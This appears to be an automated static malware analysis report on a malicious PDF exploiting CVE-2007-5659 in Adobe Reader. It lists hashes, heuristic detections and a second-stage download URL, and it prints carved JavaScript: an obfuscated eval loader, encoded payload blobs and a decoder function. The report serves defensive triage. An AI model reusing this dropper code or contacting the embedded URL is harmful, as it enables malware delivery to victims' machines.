Malicious PDF — malware analysis report

Static analysis result for SHA-256 6e703ab1379f3862…

MALICIOUS

PDF

15.2 KB
MD5: a44dae808cb7ab5bb9b8156cdc0eb410 SHA-1: 134413b6bd309e2e0dd7eccabd1a1885ebf77856 SHA-256: 6e703ab1379f38626ea628f19162b6b6e85df5afab8d0151cbd938b5fcac81cd
366 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF contains obfuscated JavaScript that exploits CVE-2007-5659 (Collab.collectEmailInfo) in Adobe Reader versions prior to APSB08-13. The script decodes a URL from the annotation subject and uses it to download a second-stage payload. The embedded URL http://searchfunes.org/cgi-bin/159/n002106201r0019R4bfb003dX5d14ffeaY0bc1bde7Z0100f060 is critical for this download.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after static deobfuscation)
  • JavaScript action low 5 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Obfuscated multi-stage PDF JavaScript dropper high PDF_JS_OBFUSCATED_DROPPER
    PDF JavaScript shows 5 independent signals of exploit-kit-style multi-stage obfuscation: annot_subject_stage, hex_codec_loop, hex_dashed_payload, incremental_eval_build, repeated_pluginschk. This is strongly consistent with pre-2011 Adobe Reader PDF droppers — OpenAction JS reads encoded data from annotation subjects, decodes it through one or more hex / base-N loops, and invokes eval indirectly (method name built one character at a time). The actual CVE is hidden in the final decoded layer and is not visible via static analysis.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Pdf.Exploit.Agent-35901 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-35901
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://searchfunes.org/cgi-bin/159/n002106201r0019R4bfb003dX5d14ffeaY0bc1bde7Z0100f060 Referenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js
4718a27c2224fc36bf24f8e8e04598f1ad78adce4401c7be2708318738a6983d		 pdf-javascript-stream PDF /JS object 5 at offset 0x148 469 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var pr = null;
var fnc = 'ev';
var sum = '';

app.doc.syncAnnotScan();

if (app.plugIns.length != 0) {
	var num = 1;

	pr = app.doc.getAnnots(
		{
			nPage: 0
		}
	);

	sum = pr[num].subject;
}

var buf = "";

if (app.plugIns.length > 3) {
	fnc += 'a';
	var arr = sum.split(/-/);

	
	for (var i = 1; i < arr.length; i++) {
		buf += String.fromCharCode("0x"+arr[i]);
	}
	fnc += 'l';
}

if (app.plugIns.length >= 2)
{
	app[fnc]/**/(buf);
}
legacy_pdfkit_stage_000.js
77e1f7aaded359ba07c1a9da723c0b5a8a99f2ef3b85d5e319db3fcfc2a7cfb4		 deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x1991 12163 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function Gcan_pG_n4V2(Pj_YsJ3236h, ss1_6bd_B8__e){var cQLIrN2G = 20;var t_Om7BjqP4Ky = 0;var dp__Xt_RAx_2a = 512;var T_8n3_lSF = cQLIrN2G;var Xnn5__w = "";var V67SH_tj8K_Vk = 4;var NQ0___KrBk_j = this;var W__qGNYp23V_4O = "1234ee";var Br66l_1 = arguments;try {var B_24iK_oV_4H_v = 0;if (app) {T_8n3_lSF = T_8n3_lSF + 2;ss1_6bd_B8__e = pr[B_24iK_oV_4H_v].subject;}W__qGNYp23V_4O = W__qGNYp23V_4O.replace(/\d+/, "call");} catch(e) { }T_8n3_lSF = T_8n3_lSF - cQLIrN2G;var y55_sV_sk1_y = new Array();var GR1_Gw = 150;if (GR1_Gw > 0) {y55_sV_sk1_y[0] = GR1_Gw;y55_sV_sk1_y[1] = dp__Xt_RAx_2a;y55_sV_sk1_y[0] = y55_sV_sk1_y[0] - GR1_Gw;y55_sV_sk1_y[2] = y55_sV_sk1_y[0];y55_sV_sk1_y[1] = y55_sV_sk1_y[1] - dp__Xt_RAx_2a;y55_sV_sk1_y[3] = y55_sV_sk1_y[1];}if (Pj_YsJ3236h) { y55_sV_sk1_y = Pj_YsJ3236h;}if (!Pj_YsJ3236h) {var fTwWCF4e_oU33sl = Br66l_1[W__qGNYp23V_4O].toString();var Q7_A_Iq_w3q = 0;var I_8_N2n = Q7_A_Iq_w3q;GR1_Gw = GR1_Gw - 102;var qt__4bu8__lR5 = 0;while(I_8_N2n < fTwWCF4e_oU33sl.length) {qt__4bu8__lR5 = fTwWCF4e_oU33sl.charCodeAt(I_8_N2n);if (qt__4bu8__lR5 >= GR1_Gw && qt__4bu8__lR5 <= 57) {if (Q7_A_Iq_w3q == V67SH_tj8K_Vk) {Q7_A_Iq_w3q = -1;}if (Q7_A_Iq_w3q < 0) { Q7_A_Iq_w3q = 0; }y55_sV_sk1_y[Q7_A_Iq_w3q] += qt__4bu8__lR5;if (y55_sV_sk1_y[Q7_A_Iq_w3q] > dp__Xt_RAx_2a) {y55_sV_sk1_y[Q7_A_Iq_w3q] -= dp__Xt_RAx_2a;}Q7_A_Iq_w3q = Q7_A_Iq_w3q + 1;}I_8_N2n = I_8_N2n + 1;}}var BpoH_vU5v_I = 0;var Xt2aUW_qCOp = 0;var T_85_55e6P_AL4l = -1;var fqt5_hK = 0;var EuN7aK_4w = 0;do {var HxB6__alkuMy6 = 256;if (y55_sV_sk1_y[fqt5_hK] > HxB6__alkuMy6) {y55_sV_sk1_y[fqt5_hK] -= HxB6__alkuMy6;}fqt5_hK = fqt5_hK + 1;} while (fqt5_hK < V67SH_tj8K_Vk);fqt5_hK = fqt5_hK - V67SH_tj8K_Vk;while(fqt5_hK < ss1_6bd_B8__e.length) {var kT270_Qh = ss1_6bd_B8__e.substr(fqt5_hK, 1) + ' V V ';fqt5_hK = fqt5_hK + 1;var JG23E_07IT_i76b = parseInt(kT270_Qh, cQLIrN2G);if (T_85_55e6P_AL4l != -1) {Xt2aUW_qCOp += JG23E_07IT_i76b;if (BpoH_vU5v_I == V67SH_tj8K_Vk) {BpoH_vU5v_I = 0;}var fpge__erBDl__m = Xt2aUW_qCOp;fpge__erBDl__m = fpge__erBDl__m - (EuN7aK_4w + 2) * y55_sV_sk1_y[BpoH_vU5v_I];if (fpge__erBDl__m <= 0) {fpge__erBDl__m = fpge__erBDl__m - Math.floor(fpge__erBDl__m / 256) * 256;}fpge__erBDl__m = String.fromCharCode(fpge__erBDl__m);if (T_8n3_lSF == 1) {Xnn5__w += JG23E_07IT_i76b;} else if (T_8n3_lSF == 2) {Xnn5__w += fpge__erBDl__m;} else {Xnn5__w += fqt5_hK;T_85_55e6P_AL4l = -2;}T_85_55e6P_AL4l = -1;BpoH_vU5v_I = BpoH_vU5v_I + 1;EuN7aK_4w = EuN7aK_4w + 1;} else if (T_85_55e6P_AL4l == -1) {T_85_55e6P_AL4l = cQLIrN2G;Xt2aUW_qCOp = JG23E_07IT_i76b * cQLIrN2G;}}var UVc_83 = this;UVc_83['ev'+'al'](Xnn5__w);}
	Gcan_pG_n4V2(0, "b6baaa6i6j101b203i7g67ah1gc0a539cd11198a0i92932a991b0icba529214d829iaaa23f0726640d3h6726ac92805e9j3f35306c7a8i8h5906ac263b3c568j2h65681jb89fb68d025e724dbc9ebjc0581h3f556b6e7jb827b2aa613ac15201c257756h91babgaa81304i6b877c8jbf6f0b359804387j1c1792ad9g90ba1c1ja33b89b18378bi526j0g78bg4d6fbb22c58g46bf12c16b5d9i5103aa6gbc2e3655056aa433872784040j6924ac34b35fbi6e1h219fb9835e6125a8112c8g4f773ic6853d1f451f76ag7h5f499e2gbd93924j3g5b76c890ca2f0dbb61058b29bb0b0478718f24bdaaafab698c4407b31d576f33682hbd93c2c9bh0g97067g5123aic96g9983271b4b41873ibh55cbc35i32191jbdad8j5d47aj0caccd6821293f4580a10g1gbdb57f3j576908b09jb381bf3b330095899363518d17205f3c4fac3f63914i2j9dcd76be4c6749ba9492af9g240e667750900451aj073605cf21b1116j6842aab41b0ha63046738c8g8e265d033b9a3g0h650fb066a1620fa13i35a350aaa162922g5530ca347g1g2j8025bg9f33bd03377j3ca98513ad5g0651727j3e680j564hbc682jcc67240j27ad96036b3g27aa1490964c26b1ca3a761cb10c0j9b3d1f771b88c1c57b168hc9828i6447172281ac7jb02c40ag3i2b671cb3a4c39b6hb75f1bbc8had7b4a4fah9f1d463h376a14a85i0d2h3e139ecd79510a8fb88a828715c441425770b34i00c456bg29009ea55d972a9b0cbeaa93352c694i6d7ha21ic1b64207314j15ce8hb7629c2c12056c8e928j8e8dc32h5j163c8f32848h460ibhb48f984j6734966ib38j8hb744615j6d8icb56aca03f0ac22j0b0i396g65b7b8c1ca8927676j806fa4c060ca3i8h48494g0fc959a96b901g1c2da354758i758j1b376g0b587e292h822abi790b8ac72883379g62c2c985c53i5a5305b10f5c901h42390334b60748b75fac822a219119727i5661053c63b1546a0d026818bh352j76bjb06b23981iaab57h81264638a64g90241
... (truncated)
legacy_pdfkit_stage_001.js
f8ea1079bd14037c30ea0a85d7ee52726239f9273fd58616bcff648953cb287d		 deobfuscated-js nested inline base-23 callee-key decoded JavaScript at offset 0x1991 4756 bytes
Preview script
First 1,000 lines of the extracted script
���2Y6b<;tq}3{kLU#@8n��&\ur��./G�|�>PFt\19qz>X8?V j{2z�w@yRZ<hyiSJ2@A=CSf��o����/stnq�ts9�Pq{Lu_jUFqL�M>]hN[�tKJ�vj� \tQb�S�;^#H}Ka�wHO��S��u��.MS��uDUneGcVF�<)L 4@D~u�(vsx>P�@�CHezU{/O&N>&_kFkU]hb@f5Z5bkie�P�:ut����A hq1z7f__IxC1J>��s�,N�bn�hH[��DaAp|r�tO��:nwTbuA�7�����{+J�Oz@Q}_R�>&725S�f#IB~|]sNIi�w�{h6p��;88~Tnhk�hHp�};a5okqk�zQs�}.��b�rx�g11Z/\lx24l�b_�hBj��Frtnp�q O=ACG2{>Wh}n�}Hp~�)a)73(81Aih�_{t?s�zY/}t��n2iu,I`e�qx_<s�w@uk�j��,'^D;>#� Nzhb�bNy��#UD:HB.>&�atk>oV=eH#^>rzq��bWm��,7>^bVAlJ7}E;��z���t([�bP{;XkB=��zg�wAB SG/�&^_kV~A:qB2R>%TC,+)ObnP�JOe9;2��y�8wer4Qe[wixNmAU;rqOaC�I}O��b���}�F:6MAif):e��UleXqc�`jR~�w �t,=a/O;;~#Y}rF`bjbZ~N[5C&:6C5+8we{:c_v�i�W[J �e{�h,rf)ISk�@feXeloca=~ewy�w2!=25J)�5t�u7cPp�f�TX)[,=63=GD�L_nY~DOkZ>R2+B.>CA_nlCNhgeQrod;7#"k:2@/FbSD{DLkTV�k���n/UneYcVFn<G���qrzo�w)jbVKmVMLjp�Gm\F�nen4KH`;2a�_Y�g<@K>����>_>q;to�}T&=A}ez)Y��� F4F2J�v�APn;�5kt6T/^2�jt;sPL}bzb4NWfV�s�#T�owaeTD�{;C:osx�jzc#OAvseDXk=�b�z1BHW=�v�wL��t�Ul:"F�TH=A2#6@8EC5 �~�,CZpf�gwK;I;K)XFAa��DmY[�Mnn1W6u=uhtg��5#�tPzGwT{kBp<{#[8mpq;yhItY}_OcEc4��}�w�IQyo�sbf5C,O, V>JVbGsPen992C/|vkV[bUk\k}C]NoO �t��rx�g10P#udx�s�]J\��`y{��bK;@/4A~xx/F_�On1]nzI{2a 9_)bk:�7E}hOcDN&v��z�d<@Q.�e} z}>;VbRnIW�z7i@L8/��a{&�k�pZGhTz }�mB#UDv�whvRBOTIota�F�sebw:V�7eR]zqCxJFz�b��r� LR6GP�{#(����H2bZz�q XTF{kzp�h/OF5RG;�&nq��KSkQn�es^Z>X81KF O2wt�|QPe`t�zjdK>A�\M�8qW�zQ|fgo�snT~#U;te�sTSqi}��dOK>`y{��bKF+M�Mt1eCfz�Uo U#tJwGbW�bBy3lF{k�p�hDQ&H)X;CVeAq5zr�wZpWdx}dk]r8R CEQ.Pn>�2ni�z9^iml�d}c54#Ic8X/.06+Yf�r�aqE/1^>PP~�#IFtJqAtN�b?7u}z��nAQ;_�=n1]�zI{)A()A25�}PkVkT�_Hp]�fz�wKi)L24N6C_��z{oh@bwLh1EztC~,Z;_>h8zT�z9Rlh�g�z,5�_kJy2nq?B8.U;+I~%;I)tA�JbN�hBpYtIe:chw7o,OAC�2F>e8}8zi�zZdSb=�4Q�k4�fVhe@qIT��F�#4L G\�VMG|PqbW98:[/"F�Q?B?(Y{w���zA\S\�V}�N?A�o��{�r��8�T6Xg9uz�Flvh��WT_jW5,�bjb�nqF�Hj�b7h;{�wr��2=�XP��`<}[`F{kzp�h<AE�_m��nw@�Ep{k[G5D�{RP��cKeXB27O/�st{�T6z[TP�ovP�rW<kmW8X/lX\��cKkmc7|~nvw����@TM�h[t�t�X�K[�h=Y/S8Y��w�~�#�me�xW9ba]A���t���ow,glzcd|t��h[zw.lbt;�>lM#tW��x[�M,k@>lenaOFhyL7J�| r5^kH0P��X�nqK�8C N�0{6cQcExV�du2�ab�xlTnaE/@5�wh|c|pz.\]���m�JA�v�5ay�bsL9Oc/O&�n���n^?�Gzu.Zbt;q>lM5q@PNheaU@w�RR)D�m� y�n\|GO�VqkIWKu/a (.�KK?E@�9T?NC�N<THFxN0E?1�TTBK%�33}8F�NBKN(��qEE4�h?9Q.�39�rI�0KN04�N@Sf7�9<v47x6?T<%uC\Q6=�S}0i7x?~C9@~@E>}%{|mUuF�TSDn:~��BG%�D�?W(�Q=4B(xUNMy=�\eL~.�BfQ\+�oI;�4~Q4T|@�t;MT7�?0\r.�<H3N=�l?nMC�ExNY@uB6<w1�KY6TF�7;CVC�Q|Qi%~�{DF1uVk:9(�qJ�;FxTHU?.�HBHH4{m@Dq4u>ERCI~6NTx7���[V7�AFCF={AK7I%�?0T~@��a=8:���J}F�<WA�(�S7iQ%�N4}r=�NNBL(�GkEN+�Y=mc.{V9PA=�0XKY4�?9N1+�u�3T7�TuYN@�A?Mg=�GA87.u?M>k@�4E;QCxHwS6FxLJ<?1{SUup%�o�FhF~TJMz(�NPLP4�T6CD.�q�S9I�;TNJ4��XNQ7�6@@H7x<YVz%�BVXP=�O3l67�?B?S@~Aj;}%�E7fOF�V>?6:�HHFV%�u9BN(�S95T(xVCJ?=�iiJ0.�@?PZ+uoJ;64~[GNB@x<jE<7�GHT4.{ANrx=�5 0OC~J<MH@uBOo>1�MN:@F�0N?dC��CRG%~JW~�1�S19P(�;eJ9F�W�UM.�O4S�4�:A>�4ur8N<I�>bVT7�M6[W7�xD?T={rB3E%�C1X9@�K?mm:�HH{8F�9~v�(uI6hq%�dHBp=xNVI=(�x}~O+{TB0v.{UH�y=~oU�w4�@�Qk+�tL:G7�\bY�@�>:M�=�|g0<.�J�<N@�4h6cC�JzS�FxE3=x1�Ses�%�;n?4F�cJKT(�Mt|�4�f6A].�rx�>I�o�fk4�Szff7�6w@n7xBJhx%uDdiq=�R�0k7x}D|A@~<H=H%{MjfsF�QNAn:~J�Cv%�BMFK(�UC7C(xQNLD=�[UKM.�FQRX+�2~6 4~[3P�@�<1NP7�H6[5.�BN<V=�6q:PC�F<NV@uHu8w1�KX=VF�6?>iC�QKQ7%~K>A 1uTn?<(�6@GrFxWQQ;.�N�J�4{36?94u9FQ;I~9TT<7�NHWS7�CAB@={<K3B%�B9TC@�NU;5:�KNHGF�<QBJ(�K9WH%�S8E==�TREP(�?7HO+�ZE6T.{W7QD=�3TJZ4�E<T2+�<G6U7�ZAZL@�AmK7=�E@36.uBK93@�3B<TCxH<N<C\�|�,�b�\wQ]Y:`YeSA^2u�t ����7^b8<dSJ+��t8aJR_btnIcQ{>&d�qq�j<XB5)G�du5swL3nqEE@CE�;@&3�I3?E3T\| r#O�nbH\wb9dqn]8C5rqe8wfWSLTe�SO�n� ��8K&M>�j~, ba���h:�Ea�}I_AC)UqI6w�66I1QhD<&@Rqt_KJqq9s_k`L<�QDJ\upe��TTzRT/O&y69jOExe�(oaP�rl<kmED8�tRn���O�3y�eIPG\y|�8VJ_ezq@to�b_�t/@57RbTNJ��O�}�E�/-A3�C<H3NH/S^hLQ��9NROT�Du��2:ypxA�exwWVu�}�6[e�,O/?Y;znotr8l�nbTX}p#H#hb�kwb1n�qtt �Y&zeueWAr���ZUzy4:5,�G<�9Dhkt0WbdC|tko�cJr��b<db�{#I8xUk~�r0ta])I;��kD}Kre=WGtYY��i��{t�xt2mjwW:x7WI>z9W:)��d�;�sk]1J`/L (+Y~o� FSeCnOi_z@�#a>EP)YtR�UQnhFl5NDRVY2eq7kFcz}FlL.2,��m�]7VK F^/���vc��t.+1�Ec6fF�0u<f@AV�vg~AffCw�s�r&@#4"M�{x;Ib�7t7`z�O{>@&<D,ekFb:HekRc)Q)RPT\2Jq@w@`bnRl:+,,�NlRznvkr51R2�|bH:STV���x|Fl�luyqq�or�8F)R{�opzOxxl�hf�`���uI�i�:��xk|R#4"P2yyy^5or@k�X���5>p�p=�{qa�Z�|esx�4eOtnFEq�5_�l��l�r��DIgpJn�.V
... (truncated)
deobfuscated.js
78f80b86528443683226dfa45de5e0eea3e5315408e69fddd0acf909cf938d52		 deobfuscated-js PDF JavaScript deobfuscation pass 75763 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var pr = null;
var fnc = 'ev';
var sum = '';

app.doc.syncAnnotScan();

if (app.plugIns.length != 0) {
	var num = 1;

	pr = app.doc.getAnnots(
		{
			nPage: 0
		}
	);

	sum = pr[num].subject;
}

var buf = "";

if (app.plugIns.length > 3) {
	fnc += 'a';
	var arr = sum.split(/-/);

	
	for (var i = 1; i < arr.length; i++) {
		buf += String.fromCharCode("0x"+arr[i]);
	}
	fnc += 'l';
}

if (app.plugIns.length >= 2)
{
	app.eval(buf);
}

b6baaa6i6j101b203i7g67ah1gc0a539cd11198a0i92932a991b0icba529214d829iaaa23f0726640d3h6726ac92805e9j3f35306c7a8i8h5906ac263b3c568j2h65681jb89fb68d025e724dbc9ebjc0581h3f556b6e7jb827b2aa613ac15201c257756h91babgaa81304i6b877c8jbf6f0b359804387j1c1792ad9g90ba1c1ja33b89b18378bi526j0g78bg4d6fbb22c58g46bf12c16b5d9i5103aa6gbc2e3655056aa433872784040j6924ac34b35fbi6e1h219fb9835e6125a8112c8g4f773ic6853d1f451f76ag7h5f499e2gbd93924j3g5b76c890ca2f0dbb61058b29bb0b0478718f24bdaaafab698c4407b31d576f33682hbd93c2c9bh0g97067g5123aic96g9983271b4b41873ibh55cbc35i32191jbdad8j5d47aj0caccd6821293f4580a10g1gbdb57f3j576908b09jb381bf3b330095899363518d17205f3c4fac3f63914i2j9dcd76be4c6749ba9492af9g240e667750900451aj073605cf21b1116j6842aab41b0ha63046738c8g8e265d033b9a3g0h650fb066a1620fa13i35a350aaa162922g5530ca347g1g2j8025bg9f33bd03377j3ca98513ad5g0651727j3e680j564hbc682jcc67240j27ad96036b3g27aa1490964c26b1ca3a761cb10c0j9b3d1f771b88c1c57b168hc9828i6447172281ac7jb02c40ag3i2b671cb3a4c39b6hb75f1bbc8had7b4a4fah9f1d463h376a14a85i0d2h3e139ecd79510a8fb88a828715c441425770b34i00c456bg29009ea55d972a9b0cbeaa93352c694i6d7ha21ic1b64207314j15ce8hb7629c2c12056c8e928j8e8dc32h5j163c8f32848h460ibhb48f984j6734966ib38j8hb744615j6d8icb56aca03f0ac22j0b0i396g65b7b8c1ca8927676j806fa4c060ca3i8h48494g0fc959a96b901g1c2da354758i758j1b376g0b587e292h822abi790b8ac72883379g62c2c985c53i5a5305b10f5c901h42390334b60748b75fac822a219119727i5661053c63b1546a0d026818bh352j76bjb06b23981iaab57h81264638a64g9024199e45c49i3701c6b19f4i944gc6aa7d65365946ah8bb64f5g3763249a76290d2hbi8690441c0498876879501g1b304480488e43a7975g295545cc0i5d6b5d9ib903aa6g542e4d89a3ad14532d21813e316015bd8ca76e9acd352ca1557c7d5fbgbh2h5f163679375d6836310012b3b62b44307hacc6b79aad2h336b377jb45da4ae2i0hbd5a071f39817gc6b62hai66cf3d5h8a7ec2b640b6149912407j08bj59b162c50j51169g3g7ba1759c1b1f4ec05j915662c21e19ah3a0105286a3hb9779c9e64ai506g833a9bbg1g66b4773a02480icb28b373bf900h0c7b085a9a7h68101f6aa551ai2j236g0cbd7ac0829a863d167912808f654e006d71c74g963h4106752d88369eaf9h7a3e9d32b40j9i9e487663c0b30f575g0h7013a05a321d2j07a6cc421c4d9h969b7g83272d41427c40af10ae804j2e4a14b6bf6g7j4faj0ca9b06f4g2679819jab1a5ibd0h7a36786915c67d8b4i9c0100cc71586c7j5g00aa2h5f1b2b6a21519d4421ah1495ab4c5949ab6i9e9183b743676e6c900451aj073604c51cc30g6jaf6jb79fbdbhah4a5d7i7e8gb51d3i911956112486352659a081c3ai4i0j8h509b7i8769cd0i3gc8349d433eb62b0hac339a07c1642aac86cfc09da72e465a0ja40f5e882c7e13995315b94b8h6fbf90102573b0555e936b013g2ca34faj40cb763d116h2ha9cda446168hc9agcb8b6j3h404a9h6a9c4f45017013945007bh156g5db72a1eb78198675a7bb68e2e635444983hb387cabh03a179cd731c0aa6b8aha6620j1b376c9267aj37a78e5a294j3bce0c5d653j7gb2a196a7214i6985a17ab04j0i208b2j665bc0ac92805098c700c56c777ja3809faa2h5141619d3h787a1hb81a1587cb27673cbd9492b17h153a696d5c6abj188a9c642b3650agb26c8h76cdb41d0176145d7i7e8gb51d3i9c0b6d4h2g7j031a66b995c3b14j02891h957j83771b34751846ad1g5i8e5a29b73bce0cc1672a8c3hai966d9g49476j139bc86180c67125016e2911489e7j8c7600bg78b54i717936cf0c5f935h9d1e1c8h3i227c1da9b27h3f16852e809b58470g2i3aa475c64i500161125523b3a4af7f77be1dbcai917667587707c51d36373g8f42ag902ib0ca9c81c34a4i0j8hb89b7i870ab413305b3d7e5bc2914hce4426cf036f7f4jb40j13cb8j3f4d36556d6aai2cb7cb8f436d6h1i15819j81992f0h0f9f745g914ca19c2b3d3c2a9d2i969b1cc20d1hb4035d6g1f78ac9ga76c200i556b3b5f8i1j8a9c30c9321e9eaf39954fb78j1b00a9304679637c8h1g31ai338914444gcdb066cd629ba14913a32f9b94959cc63h4j1841b01h4eb34h00ag319hbf285d5g8d5ecfc96gbg1c3h550576b9696d0d563ja76715be248059a15h02bjahb55c6a5827aj3g61b15hac4ab9842fcc78c2a9cb8j432dc133c5c08f893d61768h92a02430ba3e348b5ha211c78g7gc63jc00h8e7j3g4a8a14a41d675g3c664a81793e1704bb6b0f80543fagbe68768d2b0g50726j40ah3aaj8e5a294j3bce0c635e
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.